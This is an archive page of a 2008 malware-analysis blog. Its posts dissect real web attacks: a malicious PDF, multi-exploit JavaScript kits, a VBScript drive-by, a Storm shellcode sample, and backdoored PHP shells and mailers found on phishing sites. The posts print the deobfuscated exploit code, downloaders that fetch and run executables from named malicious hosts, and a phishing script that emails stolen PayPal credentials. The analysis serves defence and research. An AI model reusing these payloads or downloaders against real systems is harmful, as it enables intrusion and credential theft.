Menu:

Feed

RSS feed icon

Archives

Tags

Showing posts with tag malware. Show all posts.

Malicious PDFs

November 13, 2008

Lately, malicious PDFs are becoming more popular. They generally abuse the JavaScript functionality that Adobe added to the PDF specification. Luckily, it is not too difficult to analyze these files, since, as we will see, they use pretty much the same techniques that are used in malicious JavaScript code. I'll use as an example the us.pdf file, which was used in a drive-by exploit attack hosted on 78.157.142.122.

PDFs are generally compressed, so the first step is to uncompress the file. To do this, I generally use the nice pdftk tool:

pdftk us.pdf output us.clear.pdf uncompress

Now, if you open us.clear.pdf, the JavaScript code is nicely readable inside one of the objects defined by the document:

function re(count,what) 
  var v = "";
  while (--count >= 0) v += what;
  return v;
} 
function start() {
var sc = unescape(
  "%u9090%u9090%u9090%u9090%ueb90%u5e1a%u5b56%u068a" +
  "%u303c%u1674%ue0c0%u4604%u268a%ue480%u020f%u88c4" +
  "%u4303%ueb46%ue8e9%uffe1%uffff%u585e%u5c51%u5050" +
  ...
  "%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
  "%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
  "%u9090%u9090%u9090%u9090%u9090");
if (app.viewerVersion >= 7.0) {
  plin = re(1124,unescape("%u0b0b%u0028%u06eb%u06eb")) + 
    unescape("%u0b0b%u0028%u0aeb%u0aeb") + 
    unescape("%u9090%u9090") + 
    re(122,unescape("%u0b0b%u0028%u06eb%u06eb")) + 
    sc + 
    re(1256,unescape("%u4141%u4141"));
} 
else 
{
  ef6 =  unescape("%uf6eb%uf6eb") + unescape("%u0b0b%u0019");
  plin = re(80,unescape("%u9090%u9090")) + 
    sc + 
    re(80,unescape("%u9090%u9090"))+ 
    unescape("%ue7e9%ufff9")+
    unescape("%uffff%uffff") + 
    unescape("%uf6eb%uf4eb") + 
    unescape("%uf2eb%uf1eb");
  while ((plin.length % 8) != 0)
    plin = unescape("%u4141") + plin;
  plin += re(2626,ef6);
}
if (app.viewerVersion >= 6.0)
{
  this.collabStore = Collab.collectEmailInfo({subj: "",msg: plin});
}
}
var shaft = app.setTimeOut("start()",2000);

The code exploits a vulnerability in the collectEmailInfo method of the Collab object (CVE-2007-5659). The shellcode used in the attack downloads an executable file from the same site. Anubis has some interesting details on the behavior of this executable.

Another interesting thing to note is that PDF files can contain quite a few features and behaviors that may surprise and catch off-guard the attackers. Make sure to read Didier Stevens post on how he used the incremental updates feature to reconstruct how the malicious file was created.

Posted by marco in malware, javascript
0 comments

18, 25 exploits: who gives more? Oh, and 2 bugs.

October 29, 2008

Just a couple of weeks ago I was thinking that 17 exploits in one JavaScript attack were many. Well, it isn't so. I've recently stumbled upon a couple of pages that contain 18 and 25 different exploits. The domains that host the pages are, respectively, google-analistyc.net and 85.17.166.230.

if (
   office() ||
   dl() ||
   pdf() ||
   wme() ||
   ya1() ||
   ya2() ||
   fb() ||
   mdss() ||
   creative() ||
   wks() ||
   ogame() ||
   ca() ||
   buddy() ||
   gomweb() ||
   xmlcore() ||
   quick() ||
   real() ||
   ntaudio()
   ) {}

Here are the exploits we haven't already seen:

The second page has 25 exploits:

if (
   mdac() ||
   dl() ||
       flash() ||
   pdf() ||
   wme() ||
   wfi() ||
   com() ||
   ya1() ||
   ya2() ||
   fb() ||
   mdss() ||
   cr1() ||
   cr2() ||
   cr3() ||
   cr4() ||
           creative() ||
   wks() ||
   ogame() ||
   ca() ||
   buddy() ||
   gomweb() ||
   xmlcore() ||
   quick() ||
   real() ||
   ntaudio()
   ) {}

Here, the "new" ones are:

Now, regarding the second part of the title: there seem to be at least two bugs in these exploit codes.

First, the function cr3 instantiates the control 07B18EAB-A523-4961-B6BB-170DE4475CCA and then sets the property ShortFormat. This property doesn't seem to exist. ShortFormat is, instead, the attack vector for the exploit against the Ask Toolbar (included in the cr2 function). It's probably a case of wrong copy-and-paste.

function cr3() {
try {
  var obj = null;
  obj=cobj("{07B18EAB-A523-4961-B6BB-170DE4475CCA}");
  if(obj) {
    ms2();
    arg1 = unescape("\x0c");
    while(arg1.length<0x200) arg1+=unescape("\x0c");
    obj.ShortFormat = arg1;
  }   
} catch(e) {}
return 0;
}

Second, and this is present in both pages, the mdss function gets wrong its memory allocation. In fact, it creates a string (in the buf variable) and doubles its length in a loop that should execute 9999 times. Of course, this doesn't bode well: the machine will likely lock up before the offending process goes out of memory and, finally, gets killed.

function mdss(){
  try {
    var obj=null;
    obj=cobj("{EEE78591-FE22-11D0-8BEF-0060081841DE}");
    if(obj){
      ms();
      var buf = addr(0x0c0c0c0c);
      for (i=1;i<=9999;i++)
      buf += buf;
      EngineID="default";
      ...

Interestingly, the original milw0rm exploit did the right thing:

var buf = unescape("%u4141"); 
while (buf.length <= 261) buf = buf + unescape("%u4141");

Probably, another case of wrong copy-and-paste...

Posted by marco in malware, javascript
0 comments

17 exploits and some Feng Shui

October 16, 2008

It is quite common for malicious JavaScript pages to package more than one exploit together and attempt to run all of them against the victim browser. But, what about 17 different exploits in the same script? 

<html><body><script>function v8P6GEVcq(cD5Q2LVDZD9t){
  return String["from"+"Char"+"Code"](cD5Q2LVDZD9t);
}  
function sK5tVpH6uQTNjz(VqiKaGXn){
  var vjHVVi9s=0,EFWwHQWBlb=VqiKaGXn.length,lQMLLno=1024,
    CoZtfIDFYl,LIIVFZwmlhNqxo,W018sXwS="",ykerJQuIiCo=vjHVVi9s,
    gkkYR9OOwch6=vjHVVi9s,qyBlQcNBGEVh0=vjHVVi9s,
    OLcO9M0gn=Array(63,12,30,11,6,32,31,53,34,47,0,0,0,0,0,0,57,50,49,
      17,55,1,43,44,20,5,39,46,58,9,41,59,62,36,29,14,27,15,8,7,4,37,35,
      0,0,0,0,22,0,28,16,19,3,2,40,51,61,42,52,13,33,45,48,10,38,54,
      56,0,26,21,24,60,18,23,25);
  for(LIIVFZwmlhNqxo=Math.ceil(EFWwHQWBlb/lQMLLno);
    LIIVFZwmlhNqxo>vjHVVi9s; LIIVFZwmlhNqxo--) 
  {
    for(eval("CoZtfIDFYl=Ma"+"th.m"+"in(EFWwHQWBlb,lQMLLno)");
      CoZtfIDFYl>vjHVVi9s; CoZtfIDFYl--,EFWwHQWBlb--) 
    {
      qyBlQcNBGEVh0|=(OLcO9M0gn[VqiKaGXn.charCodeAt(ykerJQuIiCo++)-48])<<gkkYR9OOwch6;
      if(gkkYR9OOwch6) {
        W018sXwS+=v8P6GEVcq(149^qyBlQcNBGEVh0&255);
        qyBlQcNBGEVh0>>=8;
        gkkYR9OOwch6-=2;
      } else{
        gkkYR9OOwch6=6;
      }
    }
  }
  return (W018sXwS);
}
var QCDhu="6AMJaSShJy3rJJUiDq6rlyPFLi3fGK3NJeLKJ2oFOooNLe6OLoiK@
  ... 
  AzmNJ2mBc0PwD396AMJaAM97LSL6AMJae";
eval(sK5tVpH6uQTNjz(QCDhu));
</script></body></html>

After the initial deobfuscation step (nothing too fancy here, this time), the actual code is available in the clear. Two surprises here. First, as I said, there are 17 exploits:

if (
    mdac() ||
    office() ||
    dl() ||
    pdf() ||
    wfi() ||
    com() ||
    creative() ||
    wks() ||
    ogame() ||
    ca() ||
    buddy() ||
    gomweb() ||
    xmlcore() ||
    quick() ||
    real() ||
    ntaudio()
     || dani()
    ) {}

The exploits are targeting:

  1. MDAC vulnerability (CVE-2006-0003) and similar. The list of affected classids is suspiciously identical to the corresponding milw0rm's exploit.
  2. WebViewFolder setSlice vulnerability (CVE-2006-3730).
  3. CreateControlRange vulnerability (CVE-2005-0055).
  4. DirectAnimation PathControl vulnerability (CVE-2006-4777).
  5. Snapshot Viewer vulnerability (CVE-2008-2463). Thirteen different Windows versions (languages) are supported.
  6. Sina Downloader.DLoader.1 vulnerability (BID-30223).
  7. WksPictureInterface vulnerability (CVE-2008-2898).
  8. Ourgame IEStartNative vulnerability (SA-30469).
  9. CA AddColumn vulnerability (BID-28268).
  10. SuperBuddy LinkSBIcons vulnerability (CVE-2006-5820).
  11. GomPlayer OpenURL vulnerability (CVE-2007-5779).
  12. XMLHTTP setRequestHeader vulnerability (CVE-2006-5745).
  13. QuickTime RTSP vulnerability (CVE-2007-6166).
  14. RealPlayer Console vulnerability (CVE-2008-1309).
  15. NCTAudioFile2 SetFormatLikeSample vulnerability (CVE-2007-0018).
  16. Creative CacheFolder vulnerability (CVE-2008-0955).
  17. collab.CollabEmailInfo vulnerability (CVE-2007-5659 or CVE-2008-0655).

Second, the code doesn't use the usual heap spraying technique, but an adaptation of the Heap Feng Shui technique by Alex Sotirov. For example, the exploit for the DirectAnimation vulnerability is:

function dani() {
    try{
        obj=cobj("DirectAnimation.PathControl");
        if(obj){
            ms();
            init();
            var jmpecx = 0x0c0c0c0c;
            var vtable = addr(0x7ceb9090);
            for (var i = 0; i < 124/4; i++) 
                vtable += addr(jmpecx);
            vtable += padding.substr(0, (1008-138)/2);
            var fakeObjPtr = heapBase + 0x688 + ((1008+8)/8)*48;
            var fakeObjChunk = padding.substr(0, 
                (0x200c-4)/2) + addr(fakeObjPtr) + padding.substr(0, 14/2);
            CollectGarbage(); 
            flush();
            for (var i = 0; i < 100; i++)
                alloc_str(vtable);
            alloc_str(vtable, "lookaside");
            free("lookaside");
            for (var i = 0; i < 100; i++)
                alloc(0x2010);
            for (var i = 0; i < 2; i++) {
                alloc_str(fakeObjChunk);
                alloc_str(fakeObjChunk, "freeList");
            }       
            alloc_str(fakeObjChunk);
            free("freeList");
            obj.KeyFrame(0x40000801, new Array(1), new Array(1));
        }
    }catch(e){}
    return 0;
}

In all cases, the binary to be downloaded lives at http://59.125.229.71/ex/7/load.php?id=106 and is well recognized by most anti-virus

Update (10/17/08): The xplo0it Analysis blog also has a nice description of this exploit.

Posted by marco in malware, javascript
0 comments

DOM-based obfuscation in malicious JavaScript

October 15, 2008

A few weeks ago, the good folks of Malware Domain List pointed out an interesting new obfuscation technique being used by some malicious JavaScript samples.

Here's the code of the malicious page (from reddii.ru):

<html><body><input type='text'style='display:none'id='vimamikolu2'
value='kekin1=new Array(161,244,251,239,252,240,248,189,238,239,254,
...
166,144,151,161,178,238,254,239,244,237,233,163);'/>
<script>votot=function(str){document.write(str);};
dotemerape7=new String();
lifum=Math.round(-80.131*Math.SQRT1_2-16.601*Math.LOG2E+342.801*Math.LN2);
eval(document.getElementById('vimamikolu2').value);
for(pidum9=0;pidum9<1577;pidum9++)
    dotemerape7+=String.fromCharCode(kekin1[pidum9]^lifum);
votot(dotemerape7);
</script></body></html>

As it's typically done, this code just acts as the decoding routine for the actual exploit code, which is obfuscated. However, in this case, the obfuscated code is stored and dynamically retrieved from the HTML code surrounding the JavaScript code. More precisely, the decoding routine retrieves the value of the attribute value of the HTML element with id vimamikolu2. This string is evaluated via eval: this defines the array kekin1. Then, the code applies String.fromCharCode to each element of the array (xored with a constant value), and writes the result back to the page.

While not particularly difficult to reverse manually, this deobfuscation technique has an important consequence for deobfuscation and analysis tools: they need to have a decent implementation of the DOM model (e.g., understand the getElementById function) in order to automatically get around this kind of tricks. Incidentally, I'm working on one such tool (which handles this sample just fine) and should have something ready (and releasable) soon: check back!

The deobfuscated code reveals the usual exploit for the MDAC vulnerability and a more interesting (and recent) exploit for the Office Snapshot Viewer vulnerability (CVE-2008-2463):

function goMDAC() {
    ...
}
function goPDF() {
    wnd=window;
    while (wnd.parent!=wnd)
        wnd=wnd.parent;
    wnd.location="getfile.php?f=vispdf";
}
function goSnap() {
    var sfrom = 'http://reddii.ru/traffic/sploit1/getexe.php?h=12';
    var sto = 'c:/Documents and Settings/All Users/Start Menu/Programs/Startup/'
     +'svchost.exe';
    try {
        snapattack.SnapshotPath = sfrom;
        snapattack.CompressedPath = sto;
        snapattack.PrintSnapshot(sfrom,sto);
    } catch(e) {}
}
setTimeout('goMDAC();',3500);
setTimeout('goPDF();',5000);
goSnap();

Another interesting aspect of this exploit is that it (also) tries to download PDF files. But this is material for another post...

Posted by marco in malware, javascript
0 comments

Obfuscated backdoor or joke?

October 7, 2008

It is very common to find web-based malware that is protected by one, two, or even three rounds of obfuscation. Obfuscation reduces the chances that anti-malware tools automatically detect the threat and slows down manual analysis.

But, what about 48 (yes, forty-eight!) layers of obfuscation? A phishing kit for PayPal found on the site for PhishTank's entry 502529 contained the following PHP code:

<?   eval(gzinflate(base64_decode('DZdHDsTWEQWv4p1lcMGcYFkCc86ZG2GY
c45zeg9P8NHNrlfv77/+/Ptf5fUZ/qi/7VQNn6P8Yz+2f7b5gNE/ss9eEtg/RZnPRfn
...
iJvAQurlJL/whtxnAqS+mV8XYRnKzb1/GZw/zd/1S/bqWwDFK3AFxPSt1LcQgUJZgdZ
QgCMpxBYIUAVL/+/d/ft9///X3X3/+/X8='))); ?>

After the first deobfuscation, one obtains:

><?   >eval(gzinflate(str_rot13(base64_decode('FZfHDoToEYRfxTevxYGc5
LVK5JwzF4schpyZp/csEhInoPvv+rrqr//++dc/qisb/nW+3UcP2UT9sR/b/7b5gNE/8
...
c8B1Fs0A/FFcVn1mGJmSUb77fTB+wxXDBv/GkFqPBSkm2N+x6LNrGy1a7ro+58z4Lfdm
iWHhsrzATBtN3mhGgyROECAIXj+XgoIggEX/+ee/fte///HXf//86/8=')))); ?><

The same technique (eval composed with gzinflate, str_rot13, and base64_decode) is used in all the remaining layers. After 48 decoding steps, the familiar phish drop/backdooring code is revealed:

<?
include 'write your mail here.txt';
include 'images/header.bmp';
$ladate=date("D M d, Y g:i a");
$ip = getenv("REMOTE_ADDR");
$message .= "--------------PayPal  Spam ReZulT-----------------------\n";
$message .= "E-Mail ID          : ".$_POST['login_email']."\n";
$message .= "Password         : ".$_POST['login_password']."\n";
$message .= "ip: $ip\n";
$message .= "Date: $ladate\n";
$message .= "---------------Created BY Dj_Amen@hotmail.fr-----------------------------\n";

$T = "$to,$iks";

$subject = "PayPal ReZuLt "; 
$headers = "From: Amen<steamhacktn@gmail.com>"; 
$headers .= $_POST['eMailAdd']."\n"; 
$headers .= "MIME-Version: 1.0\n"; 

mail($T,$subject,$message,$headers);    
header("Location: Processing.htm");

?>

The iks variable is defined in the header.bmp file and corresponds to the address amen.dj@gmail.com:

<?
$ik = "YW1lbi5kakBnbWFpbC5jb20=";
$iks = base64_decode("$ik");
?>

Posted by marco in malware, phishing
0 comments

Backdoored PHP shells

September 13, 2008

PHP shells are tools that attackers often use to manage compromised web servers. It turns out, some of these attackers may be attacked by their own tools.

In fact, PhishTank report 505183 shows a nice example of a backdoor inserted in a PHP shell. The shell in question is a variant of the w4ck1ng shell. Each page generated by the shell contains the following script tag:

<script>
var dc=document.write;
var sc=String.fromCharCode;
var exe="http://reda-vision.com/config.exe";
var file="run.exe";
dc(sc(60,115,99,114,105,112,116,62,118,97,114,32,97,105,108,105,97,110,
44,122,104,97,110,44,99,109,100,115,115,59,97,105,108,105,97,110,61,34) + 
exe + sc(34,59,122,104,97,110,61,34) + file + sc(34,59,99,109,100,115,
115,61,34,99,109,100,46,101,120,101,34,59,116,114,121,123,118,97,114,32,
...
97,116,99,104,40,101,41,123,125,59,60,47,115,99,114,105,112,116,62));
</script>

After decoding the JavaScript code, a classic drive-by download attack is revealed:

var ailian,zhan,cmdss;
ailian="http://reda-vision.com/config.exe";
zhan="run.exe";
cmdss="cmd.exe";    
try{    
  var ado=(document.createElement("object"));
  var d=1;
  ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
  var e=1;
  var xml=ado.CreateObject("Microsoft.XMLHTTP","");
  var f=1;
  var ln="Ado";
  var lzn="db.St";
  var an="ream";
  var g=1;
  var as=ado.createobject(ln+lzn+an,"");
  var h=1;
  xml.Open("GET",ailian,0); 
  xml.Send(); 
  as.type=1;
  var n=1;
  as.open();
  as.write(xml.responseBody);
  as.savetofile(zhan,2);
  as.close();
  var shell=ado.createobject("Shell.Application","");
  shell.ShellExecute(zhan,"","","open",0);
  shell.ShellExecute(cmdss," /c del /S /Q /F "+zhan,"","open",0);
} catch(e){};

The config.exe file is detected by one third of the antivirus tools used by VirusTotal, and, according to the Anubis report, behaves like a Bifrost variant.

Posted by marco in malware, phishing, javascript
0 comments

VBScript attack

September 2, 2008

What is VBScript used for? For web attacks, of course!

For example, flyzhu.9966.org, a domain used in the recent SQL injection campaigns (and, surprisingly, still active), offers some nice examples of malicious VBScript code. To run these samples, you can use Cscript under Windows. To dump interesting values to the console, just use the WScript.Echo function.

On flyzhu.9966.org, the first step of the attack is performed by following script:

<script language="VBScript">
Cn911="83,61,34,51,67,53,...,84,69,32,68"
Function Rechange(Q)
    S=Split(Q,",")
    Cn922=""
    For i = 0 To UBound(S)
        Cn922=Cn922&Chr(eval(S(i)))
    Next
    Rechange=Cn922
End Function
EXECUTE(Rechange(Cn911))
</script>

The actual content, in the Cn911 variable, is obfuscated by substituting each character with its ASCII encoding. Once decoded, one obtains another obfuscated script:

S="3C5363726970...6970743E"
D="Document.Write """""
C="&CHR(&H"
N=")"
DO WHILE LEN(S)>1
    IF ISNUMERIC(LEFT(S,1)) THEN
        D=D&C&LEFT(S,2)&N
        S=MID(S,3) 
    ELSE 
        D=D&C&LEFT(S,4)&N
        S=MID(S,5)
LOOP
EXECUTE D

The ASCII encoding trick is used again to obfuscate the actual content. The loop essentially reads two characters at a time from S, interprets them as a hex number, and substitutes the corresponding character in the ASCII encoding. The result is yet another obfuscated script:

Document.Write &CHR(&H3C)&CHR(&H53)...&CHR(&H70)&CHR(&H74)&CHR(&H3E)

The third round uses, again, ASCII encoding. Once deobfuscated, one obtains:

<Script Language=VBScript>
On Error Resume Next
Set Ob = Document.CreateElement("object")
Ob.SetAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
Set Pop = Ob.Createobject("Adodb.Stream","")
If Not Err.Number = 0 then
    Err.clear
    Document.write ("<embed src=flash.swf></embed>")
    Document.write ("<iFrame sRc=real.htm width=0 height=0></ifrAmE>")
    Document.write ("<iFrame sRc=new.htm width=0 height=0></ifrAmE>")
Else
    Document.write ("<iFrame sRc=help.htm width=0 height=0></ifrAmE>")
End If
</Script>

This script checks if the browser is vulnerable to the MDAC remote code execution exploit (MS06-014), and, depending on the result, loads different files. In all cases, these files attempt to exploit various vulnerabilities to download and execute a binary from http://www.tlcn.net/cert/fuckkr.exe.

In particular, the loaded files are:

Posted by marco in malware, vbscript
0 comments

Web client exploit zoo: SuperBuddy

August 28, 2008

In previous posts, I've talked about JavaScript-based attacks, which are often used, for example, in drive-by exploits. With this and some of the next posts, I'll look more in detail at the actual vulnerabilities and exploits used in these attacks. I will leave the discussion of how to make reliable exploits for another series of posts (spoiler: heap spray and similar techniques) ;-)

So, let's start with the AOL SuperBuddy exploit. SuperBuddy is an ActiveX control in America Online 9.0. Its method LinkSBIcons dereferences an arbitrary function pointer, allowing remote attackers to execute arbitrary code by modifying the pointer value. The vulnerability is cataloged as CVE-2006-5820 in the CVE database.

Here is a typical exploit (it is also available as a Metasploit exploit):

function a9_bwCED() {
    try {
        var OBGUiGAa = new ActiveXObject('Sb.SuperBuddy');
        if (OBGUiGAa) {
            Exhne69P();
            dU578_go(9);
            OBGUiGAa.LinkSBIcons(0x0c0c0c0c);
        }   
    } catch(e) { }   
    return 0;
}

The function Exhne69P sets up the shellcode and the function dU578_go sets a cookie, probably to keep statistics on the success rate of the attack. The actual exploitation occurs by invoking the LinkSBIcons method with the 0x0c0c0c0c parameter.

The vulnerable code is contained in the sb.dll library:

6398692d <LinkSBIcons>::
 6398692d:   push   %ebp
 6398692e:   mov    %esp,%ebp
 63986930:   mov    0xc(%ebp),%eax     ; eax := arg
 63986933:   test   %eax,%eax       
 63986935:   je     0x63986969         ; bail out if NULL
 63986937:   mov    (%eax),%ecx        ; ecx := *arg
 63986939:   push   %esi
 6398693a:   push   %edi
 6398693b:   mov    0x8(%ebp),%edi
 6398693e:   lea    0x30(%edi),%esi
 63986941:   push   %esi
 63986942:   push   $0x6399037c
 63986947:   push   %eax
 63986948:   call   *(%ecx)            ; call *ecx

The function gets the user-provided parameter, checks that it is not NULL, and happily uses it to make a function call. At this point, an attacker simply has to choose an appropriate value for the argument to execute arbitrary code or, less ambitiously, crash the program trying to access 0x41414141, as in the screenshot below:

SuperBuddy crashes trying to execute code at 0x41414141

Posted by marco in malware, javascript, binary
0 comments

Lost and found on phishing sites: exploits

August 13, 2008

After breaking into a web server, attackers often want to get higher privileges on the local machine (through local-to-root attacks) and to compromise other remote machines (remote-to-local attacks). To do that, they "need exploits, lots of exploits".

And so, it is time to talk about the exploitation tools found on phishing sites.

Screenshot of a number of exploits found on a phishing site

Sifting through the various tools, scripts, and programs abandoned on these sites offers more than one interesting finding. One can find recent exploits, such as the one attacking the vmsplice bug in 2.6.x Linux kernels; older ones targeting sendmail on Linux 2.2.x; historic ones, such as the smurf attack released in 1999; and exotic exploits, such as a local root against AIX.

Among the remote exploitation tools, vulnerability scanners are very popular. They mostly look for file injection vulnerabilities, generally using google dorks (i.e., they are search worms).

And, unsurprisingly, considering the current botnet fad, bots are also very popular. The ones I've found are traditional bots that connect to IRC channels and wait commands. Good, old, DDoS attacks seem also common, either through TCP, UDP, or HTTP.

Related posts:

Posted by marco in malware, phishing
0 comments

Lost and found on phishing sites: mailers

July 14, 2008

This is the second installment in the series about interesting things found on web sites that are taken over to host phishing pages. This time, we talk about mailers (the first post was about PHP shells), and — little teaser — we keep a surprise for the end of the post.

So, the bad guys have just compromised a web server, uploaded a phishing kit, and deployed a perfect copy of, say, Bank of America. What's the next step? The attackers just have to attract victims to the site and hope that they will give away their credentials and other confidential information. The best way of doing it is to spam the world with emails claiming that the recipient's account has been suspended (or some other more or less plausible story) and that the situation can be solved by visiting the phishing site.

How do the phishers send the emails? If they don't want to rent a botnet, a cheap way is to use the compromised server's resources. And here is where a mailer comes useful. A mailer is a program, typically written in PHP, that has a web-based interface through which one can insert the mail's message and a list of recipients. The program then sends out the emails. Here is a screenshot of one of these mailers:

Screenshot of a mailer found on a phishing site

The mailers I've seen most frequently are Subzero, Str8 Inbox, PHP Mailer, ToXiC350 MailEr, Mailing Machine, Bulk Maileren, INBOX PHP-Mailer, Mailer All Inbox, Mass Fuckin Mailer Inbox, PHP-Mailer by Mr-Brain (a familiar name, isn't?). Furthermore, many of the PHP shells we have seen previously also offer mailer functionality.

Finally, here is one surprise I've found in one of the mailers whose source code was also left on the phishing site:

<?php
$a5 = $_SERVER['HTTP_REFERER'];
$b33 = $_SERVER['DOCUMENT_ROOT'];
$c87 = $_SERVER['REMOTE_ADDR'];
$d23 = $_SERVER['SCRIPT_FILENAME'];
$e09 = $_SERVER['SERVER_ADDR'];
$f23 = $_SERVER['SERVER_SOFTWARE'];
$g32 = $_SERVER['PATH_TRANSLATED'];
$h65 = $_SERVER['PHP_SELF'];
$message=$_POST['message'];
$msg = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";
echo eval(base64_decode("bWFpbCgiZ3JvZmlfaGFja0Bob3RtYWlsLmNvbSIsICRzdWJ
qOTgsICRtc2csICRtZXNzYWdlLCAkcmE0NCk7"));
?>

And the last string, if you don't read base64, really is:

mail("grofi_hack@hotmail.com", $subj98, $msg, $message, $ra44);

So, a little backdoor! What is a poor phisher to do? After phishing kits, one cannot even trust mailers...

Posted by marco in malware, phishing
0 comments

Lost and found on phishing sites: PHP shells

July 12, 2008

It is not uncommon for phishing pages to be hosted on compromised web servers. When this happens, besides phishing, the web server is used for a variety of malicious activities. We have seen some time ago a case where such a site was hosting an XSS-based botnet tool.

With this post, I'll start a brief series (probably 3-4 installments in total) on the interesting things you can find on web sites that are taken over to host phishing pages. For today, the topic is PHP shells.

PHP shells are PHP scripts that allow one to execute a number of commands on a remote server through a simple web-based interface. They are used by attackers to easily manage the compromised server, install new tools, attack other sites, and so on.
Here is a screenshot of one of these shells (click on the image for a larger picture):

Screenshot of a PHP shell found on a phishing site

From what I've seen, the most commonly-used shells are C99Shell, w4ck1ng, N3tShell, Room Hacker shell, SimAttacker, Locus7s, Vop-Cr3W shell, storm7shell, Safe0ver, Enqu!nx, PHPShell, BK-Code Shell, r57shell, K-H shell, HaTeX shell, phpRemoteView, UniXShell, and BLaCkSHeLL. Of many of these shells, multiple versions exist, with changes ranging from simple modding (e.g., adding scrolling text in the header of the page saying "ccpower was here !") to the introduction of new features.

In terms of functionality, the basic commands include file system management (listing of directories, changing the attributes of files), file upload, and command execution on the server. More advanced features allow the attacker to

Some shells even have the ability to check for updates and to self-remove from the remote server. At least some people are keeping their software updated...

Posted by marco in malware, phishing
0 comments

Storm's shellcode

July 11, 2008

The Storm group has launched a new campaign theme, based on the bogus story that World War III would be started. Incidentally, they are starting to be repetitive: they were using a very similar theme back in April 2007.

Besides the usual fake youtube video — you click on it and the download of the malicious binary starts — they are also using drive-by download techniques to infect their victims. An iframe points to the file ind.php, which attempts to perform a number of browser exploits. Nothing special here: everything is very similar to other javascript attacks.

The shellcode used by Storm is also very similar to what we have seen in the past, both functionally (download and execute a binary) and in the use of simple polymorphic techniques. However, there are some differences: one is that it doesn't store the hash values of the library functions to invoke at the end of the code. Sequences of hash values probably make for a good signature for IDS systems. Thus, this shellcode uses hash values inline (in what follows, find_function returns the address of a function, given the function's hash and the containing DLL's base address):

  00000033:   push esi                ; kernel32.dll base
  00000034:   push dword 0xec0e4e8e   ; LoadLibrary (hash)
  00000039:   call 0x13c<find_function>
  0000003E:   mov [ebp+0x4],eax
  00000041:   push esi
  00000042:   push dword 0xe8afe98    ; WinExec (hash)
  00000047:   call 0x13c<find_function>
  0000004C:   mov [ebp+0x8],eax
  0000004F:   push esi
  00000050:   push dword 0xc2ffb025   ; DeleteFileA (hash)
  00000055:   call 0x13c<find_function>
  0000005A:   mov [ebp+0xc],eax
  0000005D:   push esi
  0000005E:   push dword 0x60e0ceef   ; ExitThread (hash)
  00000063:   call 0x13c<find_function>
  00000068:   mov [ebp+0x10],eax
  0000006B:   push esi
  0000006C:   push dword 0xb8e579c1   ; GetSystemDirectoryA (hash)
  00000071:   call 0x13c<find_function>

Here is an example of how one these library functions is invoked. This is the function URLDownloadToFile from the urlmon DLL.

  000000EB:   xor ebx,ebx
  000000ED:   push ebx                ; NULL
  000000EE:   push ebx                ; NULL
  000000EF:   push dword [ebp+0x20]   ; ptr to "SYSDIR/~.exe"
  000000F2:   push eax                ; eax := addr of the URL
  000000F3:   push ebx                ; NULL
  000000F4:   mov eax,[ebp+0x1c]      ; eax := addr of URLDownloadToFile
  000000F7:   push byte +0x5
  000000F9:   pop ecx                 ; ecx := 5
  000000FA:   mov edx,[ebp+0x18]      ; edx := ptr to ret instruction
  000000FD:   call 0x125<call_lib_func>

The function that I named call_lib_func invokes the requested DLL function. It receives the number of parameters (in ecx), the function address (in eax), and the address of a ret instruction (in edx). It first sets up the stack (return address into the caller first, followed by the parameters, and the address of the ret instruction last), and then jumps to the library function's address. The weird stack manipulation is required since Win32 API functions use the __stdcall calling convention.

  00000125:   inc ecx                 ; ecx := # params + 1
  00000126:   pop ebx                 
  00000127:   push edx                
  00000128:   add esp,ecx
  0000012A:   add esp,ecx
  0000012C:   add esp,ecx
  0000012E:   add esp,ecx             ; esp points past the last parameter
fixup_stack_for_stdcall:
  00000130:   sub esp,byte +0x4
  00000133:   pop edx
  00000134:   push ebx
  00000135:   mov ebx,edx
  00000137:   loop 0x130<fixup_stack_for_stdcall>
  00000139:   push edx                ; edx points to ret instruction
  0000013A:   jmp eax                 ; eax holds address of lib function

The final effect of the shellcode is:

  1. a binary is downloaded, in the case I've analyzed, from http://activeware.cn/load.php?bof,
  2. the binary is saved on the victim's filesystem, and
  3. it's executed

Posted by marco in malware, binary
0 comments

Polymorphic shellcode

July 5, 2008

In web-based attacks, such as the ones employed in the recent SQL injection attacks, you have to go through three layers of JavaScript obfuscation and as many redirects before getting to the actual exploit code. And, the tricks of the attackers do not stop here.

In fact, attackers are also using polymorphic techniques to mutate the code of their shellcode and avoid detection by anti-virus and anti-malware tools.

This is the beginning of the shellcode found in one these attacks:

00000000:  E800000000        call 0x5
00000005:  5D                pop ebp
00000006:  83C514            add ebp,byte +0x14 ; ebp = 0x19
00000009:  B98D010000        mov ecx,0x18d      ; for i in range(0x18d):
0000000E:  B0A1              mov al,0xa1
00000010:  304500            xor [ebp+0x0],al   ;   [ebp] = [ebp] ^ 0xa1
00000013:  45                inc ebp            ;   ebp += 1
00000014:  49                dec ecx
00000015:  75F9              jnz 0x10
00000017:  EB00              jmp short 0x19
00000019:  3131              xor [ecx],esi
0000001B:  3131              xor [ecx],esi
0000001D:  ...

The code gets the current EIP, skips 0x14 additional bytes (the decryption instructions), and xors the remaining 0x18d bytes with the value 0xa1. After undoing the obfuscation, one obtains the same shellcode we have seen some time ago:

00000019:  90                nop
0000001A:  90                nop
0000001B:  90                nop
0000001C:  90                nop
0000001D:  90                nop
0000001E:  90                nop
0000001F:  90                nop
00000020:  90                nop
00000021:  E9FC000000        jmp 0x122
00000026:  5F                pop edi
00000027:  64A130000000      mov eax,[fs:0x30]
0000002D:  780C              js 0x3b
0000002F:  8B400C            mov eax,[eax+0xc]
00000032:  8B701C            mov esi,[eax+0x1c]
00000035:  AD                lodsd
00000036:  8B6808            mov ebp,[eax+0x8]
00000039:  EB09              jmp short 0x44
0000003B:  ...

Posted by marco in malware, binary
0 comments

Mapping the SQL injection campaigns

July 2, 2008

In the past few weeks, there have been a number of rounds of massive SQL injection attacks. The attacks inject a script tag in every textual column of the vulnerable databases. This script tag includes a script from a remote site, which I call the injected site. This script, usually, redirects the browser to a second script (possibly on a different site, the target site), which, finally, carries out the actual attack. These attacks are similar to the one I've described before.

For those who are interested, M. Zino has written a good description of the SQL injection mechanism, D. Danchev has an impressive list of high-profile victims of the attack, and the folks at dynamoo keep track of the malicious domains involved in the campaigns.

